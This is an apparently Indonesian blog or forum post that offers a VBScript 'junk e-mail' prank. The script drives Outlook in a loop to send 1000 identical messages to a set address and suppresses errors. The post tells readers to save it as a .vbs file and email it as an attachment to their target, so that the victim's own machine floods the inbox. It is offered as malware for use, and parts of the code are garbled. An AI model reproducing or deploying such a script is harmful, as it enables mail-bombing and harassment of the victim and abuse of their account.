Membuat Junk e-mail

Ass.
Teman"ku sekalian!. Skrng qt buat Junk e-mail, carax:

1. Buka notepad
2. Tulis/copy rumus dibawah ini:

-----------------Script Begin------------------

ON ERROR RESUME NEXT

Dim x

For x=1 To 1000

Set ol=CreateObject("Outlook Application")

Set Mail=ol. CreateItem(0)

Mail. to="someone@yahoo.com"

Mail .Subject="Salam Kenal"

Mail .Body="Mau jd sahabatku gk?"

Mail. Send

Next

ol.Quit

--------------------Script End--------------------

3. Smpn file ini dngn ekstensi *.vbs!. "attachment/lampirkan" file ini melalui email ke orang yg anda maksud!. Insya Allah email ini akan memenuhi "inbox mail" orang yg anda mksd sebanyak 1000x(secara berkala). Ox smua!.
Wass.